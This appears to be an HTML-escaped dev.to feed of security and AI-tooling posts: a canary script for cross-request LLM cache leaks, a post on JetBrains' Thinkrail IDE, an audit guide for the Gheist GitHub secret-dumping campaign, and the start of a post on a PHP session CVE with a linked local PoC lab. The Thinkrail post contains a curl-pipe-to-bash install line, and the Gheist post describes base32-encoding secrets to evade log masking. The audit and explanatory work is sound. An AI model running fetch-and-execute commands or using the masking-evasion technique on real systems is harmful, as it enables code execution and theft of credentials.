&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;chat&lt;/span&gt;&lt;span class="p"&gt;([{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;role&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;content&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Write a two-sentence haiku about packet #&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}])&lt;/span&gt;
    &lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;choices&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;message&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;content&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;hit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;canary&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;
    &lt;span class="n"&gt;leak&lt;/span&gt; &lt;span class="o"&gt;|=&lt;/span&gt; &lt;span class="n"&gt;hit&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[B&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;] &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="err"&gt;!!!&lt;/span&gt; &lt;span class="n"&gt;CANARY&lt;/span&gt; &lt;span class="n"&gt;LEAKED&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; if hit else &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="n"&gt;clean&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; — &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;!r}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;RESULT:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;CROSS-REQUEST LEAK DETECTED&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;leak&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;no leak in this sample (not a proof)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Honest scope, stated in the script's last line: &lt;strong&gt;a clean run is not a proof&lt;/strong&gt; — the GLM-5.3 bug needed prompts beyond the KV pool on a misconfigured node. This catches gross leakage cheaply; run it after upgrades, against new endpoints, and in CI against your own inference stack. On providers, vary it: repeat with the B requests on a &lt;em&gt;fresh session/conversation id&lt;/em&gt; — same-account separation is the weakest fence to test.&lt;/p&gt;

&lt;p&gt;I ran the smoke test against the API that generates this blog's drafts (Z.ai's own GLM serving — for the record, the incident was Cloudflare's deployment, not Z.ai's): endpoint and auth verified, but my key's balance was empty, so the full run waits on a recharge. The script above is exactly what I'll run the day it has one — and what you can run against your provider tonight, with your key.&lt;/p&gt;

&lt;h2&gt;
  
  
  If you run the engine yourself
&lt;/h2&gt;

&lt;p&gt;The operator checklist from the post, in priority order: upgrade to &lt;strong&gt;SGLang v0.5.22+&lt;/strong&gt; (rejected requests are retired at the admission queue, before any KV transfer); make your &lt;strong&gt;KV pool larger than your context window&lt;/strong&gt; — and add the pre-deployment check that compares measured pool size to context length, because GLM-5.3 shipped without it; enable &lt;code&gt;--disaggregation-enable-kv-checksum&lt;/code&gt; so every prefill→decode transfer is verified. The bug you're patching was reported in July, exploited-by-accident in August, and disclosed properly in October — if you deployed SGLang from a summer image, you are the audience for that checklist.&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;A KV pool sized at 65% of the context window plus a rejection path that kept going after refusal equals 155 cross-customer leaks with HTTP 200. Root-caused in 25 minutes, fixed in a day, disclosed with page-level diagrams — and the engine bug underneath is generic, so if you self-host inference, this is your patch-week. Everyone else: the canary script above is five minutes against your provider. Zero errors on the wire is not the same as zero leaks.&lt;/p&gt;

&lt;p&gt;Sources: &lt;a href="https://blog.cloudflare.com/kv-cache-exposure-remediation/" rel="noopener noreferrer"&gt;Cloudflare — KV cache exposure remediation&lt;/a&gt; · &lt;a href="https://github.com/sgl-project/sglang/issues/30233" rel="noopener noreferrer"&gt;SGLang issue #30233&lt;/a&gt; · &lt;a href="https://github.com/sgl-project/sglang/pull/38704" rel="noopener noreferrer"&gt;SGLang PR #38704 (Cloudflare draft)&lt;/a&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>cloud</category>
      <category>llm</category>
    </item>
    <item>
      <title>JetBrains open-sourced an agentic IDE where agents never touch your checkout</title>
      <dc:creator>Sam LABBE</dc:creator>
      <pubDate>Mon, 26 Oct 2026 15:55:10 +0000</pubDate>
      <link>https://dev.to/slabb/jetbrains-open-sourced-an-agentic-ide-where-agents-never-touch-your-checkout-22hc</link>
      <guid>https://dev.to/slabb/jetbrains-open-sourced-an-agentic-ide-where-agents-never-touch-your-checkout-22hc</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;JetBrains just open-sourced an &lt;strong&gt;agentic IDE&lt;/strong&gt; — Apache 2.0, on GitHub as of yesterday — and the name of the repository matters less than the three ideas in it: &lt;strong&gt;agents that never touch your checkout&lt;/strong&gt;, a project's truth that &lt;strong&gt;survives the session&lt;/strong&gt;, and &lt;strong&gt;no accounts anywhere&lt;/strong&gt;. It's called Thinkrail, it wraps the &lt;code&gt;pi&lt;/code&gt; coding agent, and after an evening in the repo I think it's the clearest statement yet of what "IDE" means when the coder is a fleet.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This week the agent stack is assembling in public: NVIDIA shipped the runtime layer (OpenShell), and now JetBrains ships the environment layer. Here's what Thinkrail actually does, mechanism by mechanism.&lt;/p&gt;

&lt;h2&gt;
  
  
  Idea one: isolation by worktree, not by prompt
&lt;/h2&gt;

&lt;p&gt;Every workspace in Thinkrail is a &lt;strong&gt;git worktree with its own branch&lt;/strong&gt;. The README's sentence deserves to be quoted in full: &lt;em&gt;"Agents work in parallel without touching your checkout."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;That's the whole design, and it's the correct answer to a question most agent tools answer badly. The common pattern today is: agent edits files in place, you review the diff in the same tree you're building in, and a second agent is a merge conflict generator. Worktrees flip it: N agents, N branches, your checkout untouched, merges become the explicit coordination point. It's the same isolation insight as OpenShell's sandboxes, applied one level up — not "what can the agent touch" but "which tree does the agent live in."&lt;/p&gt;

&lt;h2&gt;
  
  
  Idea two: SPEC.md as ground truth
&lt;/h2&gt;

&lt;p&gt;The deeper bet: agents are unreliable because their context dies with the chat. Thinkrail's answer is a &lt;strong&gt;graph of &lt;code&gt;SPEC.md&lt;/code&gt; files&lt;/strong&gt; sitting beside every module, which the agent itself maintains through dedicated &lt;code&gt;spec_*&lt;/code&gt; tools — &lt;em&gt;"so intent survives the session."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Read that again: the documentation is not a byproduct of the work; it's a &lt;strong&gt;maintained artifact the IDE treats as ground truth&lt;/strong&gt;. The agent reads the spec to know what to do, does the work, then updates the spec to record what it learned. JetBrains dogfoods it — the repo is developed spec-first, a SPEC.md sits next to every module. Whether the graph stays honest under agent-driven rewrites is the open question (a spec the agent both follows and edits is one prompt injection away from redefining the project's truth), but as an architecture it's the first serious answer to "how does an agent remember my project" that isn't a vector database.&lt;/p&gt;

&lt;h2&gt;
  
  
  Idea three: no accounts
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;"ThinkRail has no accounts of its own"&lt;/em&gt; — you bring your own provider credentials, exactly like OpenShell's provider model. The IDE is a host: an HTTP+WS engine (Bun.serve, one in-process agent session per chat), a typed versioned wire protocol (&lt;code&gt;packages/contracts&lt;/code&gt;), and a React 19 client. Skills, workflows, MCP servers, subagents, per-chat model selection with token/cost readouts. It's an IDE-shaped shell around an agent protocol, and the shell has no opinion about who pays for inference.&lt;/p&gt;

&lt;h2&gt;
  
  
  The honest margins
&lt;/h2&gt;

&lt;p&gt;The tagline — &lt;em&gt;"gets better every time you use it"&lt;/em&gt; — is marketing for what's actually shipped: living specs today, self-built capabilities &lt;em&gt;tomorrow&lt;/em&gt;. It's brand-new (0.x, this week), the wire protocol is versioned but young, and "spec drift under agent edits" is a real attack on its own premise that no README answers yet. The desktop installers exist (macOS Apple Silicon, Windows, Linux), and the CLI is two commands — but nobody has a year of usage to point at.&lt;/p&gt;

&lt;h2&gt;
  
  
  Run it yourself
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-fsSL&lt;/span&gt; https://raw.githubusercontent.com/JetBrains/thinkrail/main/install.sh | bash
thinkrail ~/code/my-repo
&lt;span class="c"&gt;# developers: Bun 1.4.4 + Node &amp;gt;= 22.19, then `bun install &amp;amp;&amp;amp; bun run dev`&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Repo: &lt;a href="https://github.com/JetBrains/thinkrail" rel="noopener noreferrer"&gt;github.com/JetBrains/thinkrail&lt;/a&gt; · Apache 2.0 · built around the &lt;a href="https://www.npmjs.com/package/@earendil-works/pi-coding-agent" rel="noopener noreferrer"&gt;pi coding agent&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt; — worktrees for parallel agents, a self-maintaining spec graph for durable intent, your keys and no accounts. The week built the runtime (NVIDIA), the IDE (JetBrains), and left one layer conspicuously unfinished: who proves what the fleet actually did. That's the next post.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>agents</category>
      <category>ide</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Gheist: 13,500 secret-dumping workflows planted with stolen GitHub tokens — audit yours in 5 minutes</title>
      <dc:creator>Sam LABBE</dc:creator>
      <pubDate>Mon, 26 Oct 2026 07:06:31 +0000</pubDate>
      <link>https://dev.to/slabb/gheist-13500-secret-dumping-workflows-planted-with-stolen-github-tokens-audit-yours-in-5-minutes-299f</link>
      <guid>https://dev.to/slabb/gheist-13500-secret-dumping-workflows-planted-with-stolen-github-tokens-audit-yours-in-5-minutes-299f</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;While everyone watched LiteLLM, a quieter campaign spent five weeks doing something worse: taking stolen GitHub tokens and committing a &lt;strong&gt;secret-dumping workflow into every repository they could reach&lt;/strong&gt; — &lt;strong&gt;13,500 planted branches across 850+ compromised accounts&lt;/strong&gt;, personal projects and &lt;strong&gt;private enterprise repos&lt;/strong&gt; included. Wiz published the full autopsy yesterday. The campaign is called Gheist, it dumps your org secrets, your cloud credentials, and — the line that made me write this — it specifically hunts &lt;strong&gt;AI provider keys: Anthropic, Hugging Face, Groq, NVIDIA&lt;/strong&gt;. Your agents' keys, straight out of your CI.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This post is the mechanics and the audit. The whole check runs in five minutes with &lt;code&gt;gh&lt;/code&gt;, tonight, on your own account and orgs.&lt;/p&gt;

&lt;h2&gt;
  
  
  The attack, in four moves
&lt;/h2&gt;

&lt;p&gt;Gheist's tooling takes a stolen token (sourced from infostealer logs and prior supply-chain incidents — the same family that hit Trivy in March), enumerates every repo it can touch, and plants a branch &lt;code&gt;ci-sync-XXXXXX&lt;/code&gt; containing one workflow, committed as &lt;code&gt;ci: sync config&lt;/code&gt;, unsigned. The workflow is two dumb lines: dump &lt;code&gt;env&lt;/code&gt; and &lt;code&gt;toJSON(secrets)&lt;/code&gt;, &lt;strong&gt;base32-encoded&lt;/strong&gt;, print to the workflow log. Then the tool fetches the log through GitHub's API and deletes the run.&lt;/p&gt;

&lt;p&gt;Four details make it clever, and all four are worth internalizing:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;base32 defeats secret masking.&lt;/strong&gt; GitHub masks secret values in logs only when they appear &lt;em&gt;verbatim&lt;/em&gt;. Encode them and the masking sees nothing. Your &lt;code&gt;$SECRET&lt;/code&gt; prints safely to the attacker.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;permissions: {}&lt;/code&gt; protects nothing here.&lt;/strong&gt; It restricts the auto-generated GITHUB_TOKEN — not the &lt;code&gt;secrets&lt;/code&gt; context. Half the hardening advice on the internet answers a different attack.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The environment matrix.&lt;/strong&gt; Tool B lists the repo's deployment environments, so environment-scoped secrets — usually production, usually the crown jewels — get printed too.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No C2, anywhere.&lt;/strong&gt; The secrets exit through GitHub's own API, from GitHub's own IPs, authenticated with a token you issued. There is no attacker domain to block, no exfil host to alert on. The channel is the platform.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;On self-hosted runners the payload went further — searching for 31 token formats (private keys, &lt;code&gt;.env&lt;/code&gt; files, Terraform state, &lt;code&gt;/proc/*/environ&lt;/code&gt;, Docker sockets, Kubernetes tokens) and AI provider keys specifically. Wiz notes that variant is buggy — wrong runner paths, broken regex, no GCP/Azure collection — which is somehow worse: the campaign is a product under active iteration, shipping features.&lt;/p&gt;

&lt;h2&gt;
  
  
  The public/private asymmetry
&lt;/h2&gt;

&lt;p&gt;The single most interesting fact in the autopsy: &lt;strong&gt;public repos were largely saved by one quiet GitHub guardrail&lt;/strong&gt;. Since July 28, workflow runs from first-time contributors in public repos sit in &lt;code&gt;action_required&lt;/code&gt; pending collaborator approval — and every public Gheist run Wiz checked sat there, payload never executed.&lt;/p&gt;

&lt;p&gt;That hold &lt;strong&gt;doesn't apply to private repos or GitHub Enterprise Server&lt;/strong&gt;. There, the workflows ran, secrets were dumped, and Wiz proved follow-on AWS role assumption from the stolen cloud credentials via CloudTrail. The guardrail you never configured protected your open source; nothing protected the private stuff, which is where the secrets actually live.&lt;/p&gt;

&lt;p&gt;Two more findings worth the price of admission: &lt;code&gt;permissions: {}&lt;/code&gt; on the malicious workflow was used &lt;em&gt;by the attacker&lt;/em&gt; — cosmetically, since secrets don't care — and about two-thirds of the implicated accounts have since vanished from GitHub, suggesting response is underway while the campaign kept evolving through October 24.&lt;/p&gt;

&lt;h2&gt;
  
  
  The audit — five minutes, tonight
&lt;/h2&gt;

&lt;p&gt;The radar: the commit message is searchable in public history, and it's noisy (legit &lt;code&gt;sync config&lt;/code&gt; commits everywhere), so treat it as a lead generator, not a verdict:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gh api &lt;span class="s1"&gt;'search/commits?q="ci: sync config"'&lt;/span&gt; &lt;span class="nt"&gt;--jq&lt;/span&gt; &lt;span class="s1"&gt;'.total_count'&lt;/span&gt;
&lt;span class="c"&gt;# → 321 hits right now. Most are innocent sync scripts. Your job is the branch check below.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The actual self-audit — planted branches on your account (loop your repos, grep the branch pattern):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gh repo list &lt;span class="nt"&gt;--limit&lt;/span&gt; 200 &lt;span class="nt"&gt;--json&lt;/span&gt; nameWithOwner &lt;span class="nt"&gt;--jq&lt;/span&gt; &lt;span class="s1"&gt;'.[].nameWithOwner'&lt;/span&gt; | &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read &lt;/span&gt;r&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;gh api &lt;span class="s2"&gt;"repos/&lt;/span&gt;&lt;span class="nv"&gt;$r&lt;/span&gt;&lt;span class="s2"&gt;/branches"&lt;/span&gt; &lt;span class="nt"&gt;--paginate&lt;/span&gt; &lt;span class="nt"&gt;--jq&lt;/span&gt; &lt;span class="s1"&gt;'.[].name'&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s1"&gt;'^ci-sync-[0-9a-z]{6}$'&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"  ↑ HIT in &lt;/span&gt;&lt;span class="nv"&gt;$r&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For &lt;strong&gt;organizations&lt;/strong&gt; (org owners only — the audit-log API isn't available on personal accounts; the web UI's security log is the personal fallback):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Workflow runs deleted within a minute of completing — Gheist's cleanup signature&lt;/span&gt;
gh api &lt;span class="s1"&gt;'orgs/YOURORG/audit-log?include=all&amp;amp;phrase=workflow_run'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--jq&lt;/span&gt; &lt;span class="s1"&gt;'.[] | select(.action=="workflow_run.deleted")'&lt;/span&gt;
&lt;span class="c"&gt;# The tool's user agent&lt;/span&gt;
gh api &lt;span class="s1"&gt;'orgs/YOURORG/audit-log?include=all'&lt;/span&gt; &lt;span class="nt"&gt;--jq&lt;/span&gt; &lt;span class="s1"&gt;'.[] | select(.user_agent=="gheist")'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the &lt;strong&gt;cloud-side hunt that works even without GitHub logs&lt;/strong&gt; — Wiz's best trick: OIDC role assumptions whose session/subject contains &lt;code&gt;ci-sync-&lt;/code&gt; (GitHub's OIDC subject includes the ref, so the planted branch name travels into your CloudTrail):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws cloudtrail lookup-events &lt;span class="nt"&gt;--lookup-attributes&lt;/span&gt; &lt;span class="nv"&gt;AttributeKey&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;EventName,AttributeValue&lt;span class="o"&gt;=&lt;/span&gt;AssumeRoleWithWebIdentity &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--start-time&lt;/span&gt; 2026-09-15 &lt;span class="nt"&gt;--max-results&lt;/span&gt; 20 | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s1"&gt;'ci-sync'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If anything hits: &lt;strong&gt;rotate every secret that repo could see&lt;/strong&gt; — deleting runs doesn't un-dump them — revoke the pushing tokens, and check the token owners' machines for infostealers, because that's where the tokens came from.&lt;/p&gt;

&lt;h2&gt;
  
  
  Harden for the next one
&lt;/h2&gt;

&lt;p&gt;From Wiz's list, ranked by how little they cost: require &lt;strong&gt;reviewers on environment-scoped secrets&lt;/strong&gt; (kills the environment matrix); scope OIDC trust policies to &lt;strong&gt;protected branches only&lt;/strong&gt; (kills &lt;code&gt;ci-sync-*&lt;/code&gt; role assumption); prefer &lt;strong&gt;GitHub Apps or fine-grained, short-lived tokens&lt;/strong&gt; over classic PATs (shrinks what one stolen token reaches); run self-hosted runners &lt;strong&gt;ephemerally, no Docker socket, no unrestricted metadata&lt;/strong&gt; (kills the host pivot). And never approve a held &lt;code&gt;sync-check&lt;/code&gt; run sitting in &lt;code&gt;action_required&lt;/code&gt; — that's the trap's front door.&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;Gheist = stolen tokens + one two-line workflow + base32 + GitHub-as-C2, at a scale of 13,500 branches. Public repos got lucky via the first-contribution hold; private repos paid. The audit is five minutes of &lt;code&gt;gh&lt;/code&gt; and one CloudTrail query — and if you run AI agents in CI, the campaign's shopping list literally names your provider. Check tonight.&lt;/p&gt;

&lt;p&gt;Sources: &lt;a href="https://www.wiz.io/blog/gheist-attempted-scaled-abuse-of-stolen-github-tokens-stumbles" rel="noopener noreferrer"&gt;Wiz — Gheist: attempted scaled abuse of stolen GitHub tokens&lt;/a&gt; · &lt;a href="https://www.cisa.gov/news-events" rel="noopener noreferrer"&gt;CISA KEV / alerts hub&lt;/a&gt; · commit-search audit via &lt;code&gt;gh api&lt;/code&gt; (commands above, verified live)&lt;/p&gt;

</description>
      <category>security</category>
      <category>github</category>
      <category>devops</category>
      <category>infosec</category>
    </item>
    <item>
      <title>The 'BREAKING' unpatched PHP RCE that wasn't: what CVE-2026-115560 actually requires</title>
      <dc:creator>Sam LABBE</dc:creator>
      <pubDate>Fri, 23 Oct 2026 14:56:35 +0000</pubDate>
      <link>https://dev.to/slabb/the-breaking-unpatched-php-rce-that-wasnt-what-cve-2026-115560-actually-requires-2ema</link>
      <guid>https://dev.to/slabb/the-breaking-unpatched-php-rce-that-wasnt-what-cve-2026-115560-actually-requires-2ema</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;The alert going around today: &lt;em&gt;‼️ BREAKING ‼️ PHP warns of another UNPATCHED RCE vulnerability just 2 days after releasing emergency patches. New "CVE-2026-115560" affects only unusual session configurations. PHP has issued urgent mitigation guidance.&lt;/em&gt; Three lines, each one a little wrong. The actual advisory — &lt;a href="https://www.php.net/archive/2026.php" rel="noopener noreferrer"&gt;php.net, today&lt;/a&gt;, 300 words, measured — says: it's an &lt;strong&gt;informational advisory&lt;/strong&gt;, handled in the &lt;strong&gt;regular release cycle&lt;/strong&gt;, reachable only through a config combo PHP itself calls &lt;em&gt;"unlikely in practice"&lt;/em&gt;, and the mitigation is the &lt;strong&gt;same one from Tuesday&lt;/strong&gt; — if you applied it then, &lt;em&gt;"keep it in place and no further action is needed."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is the third amplification story of the week on this blog, and the easiest to settle — because unlike LiteLLM's scrambled dates or eMudhra's "out of proportion" complaint, this one comes with a checklist you can run in three commands. By the end you'll know whether CVE-2026-115560 concerns you, and more usefully, how to read the next BREAKING without the exclamation marks.&lt;/p&gt;

&lt;p&gt;⚠️ The full lab lives under: the two-request PoC that confirms the injection locally (no Docker — the PHP CLI's built-in server is the whole stack, and the serializer grammar is not version-specific), plus an audit script that turns the decision tree below into one command with an exit code. Local target only, never aimed at third-party systems.&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/slabbdev" rel="noopener noreferrer"&gt;
        slabbdev
      &lt;/a&gt; / &lt;a href="https://github.com/slabbdev/php-cve-2026-115560-kit" rel="noopener noreferrer"&gt;
        php-cve-2026-115560-kit
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Local-only PoC lab for CVE-2026-115560 (PHP session upload-progress serialize-handler confusion) — two-request PoC on the PHP CLI built-in server (no Docker) + fleet audit implementing the advisory's decision tree.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;cve-115560-kit — local lab for the PHP session serialize-handler confusion&lt;/h1&gt;
&lt;/div&gt;
&lt;p&gt;Companion lab for the &lt;em&gt;black box&lt;/em&gt; article on &lt;strong&gt;CVE-2026-115560&lt;/strong&gt; (PHP &lt;code&gt;session.upload_progress&lt;/code&gt;
informational advisory, 2026-10-23). Part 2 of the php2shell story
(&lt;a href="https://github.com/slabbdev/php2shell-cve-2026-109618-109619" rel="noopener noreferrer"&gt;part 1: CVE-2026-109618/109619&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Local target only (127.0.0.1). Never aimed at third-party systems.&lt;/strong&gt;&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;The combo (all three legs required, per php.net)&lt;/h2&gt;
&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;session.serialize_handler&lt;/code&gt; = &lt;code&gt;php_binary&lt;/code&gt; &lt;strong&gt;or&lt;/strong&gt; &lt;code&gt;php_serialize&lt;/code&gt; in configuration;&lt;/li&gt;
&lt;li&gt;application code switches it back to &lt;code&gt;php&lt;/code&gt; at runtime with &lt;code&gt;ini_set()&lt;/code&gt; before &lt;code&gt;session_start()&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;session.upload_progress.enabled&lt;/code&gt; still on.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;PHP calls this setup &lt;em&gt;"unlikely in practice"&lt;/em&gt; — the advisory is informational, the fix ships
in the regular cycle. The mitigation is the &lt;strong&gt;same&lt;/strong&gt; as GHSA-6wmf-4rv5-p3rp (CVE-2026-109619):
&lt;code&gt;session.upload_progress.enabled=0&lt;/code&gt;.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;The lab&lt;/h2&gt;

&lt;/div&gt;
&lt;p&gt;No Docker needed — the PHP CLI's built-in server is the whole stack, and the serializer
grammar is not version-specific. Requires &lt;code&gt;php&lt;/code&gt; and &lt;code&gt;python3&lt;/code&gt; on &lt;code&gt;$PATH&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight highlight-text-shell-session notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;$ &lt;span class="pl-s1"&gt;./run.sh          &lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; starts 127.0.0.1:8899 (or ./run.sh PORT) and runs the PoC&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;What the two…&lt;/p&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/slabbdev/php-cve-2026-115560-kit" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;h2&gt;
  
  
  What the advisory actually says
&lt;/h2&gt;

&lt;p&gt;php.net, October 23, verbatim:&lt;/p&gt;

&lt;blockquote&gt;
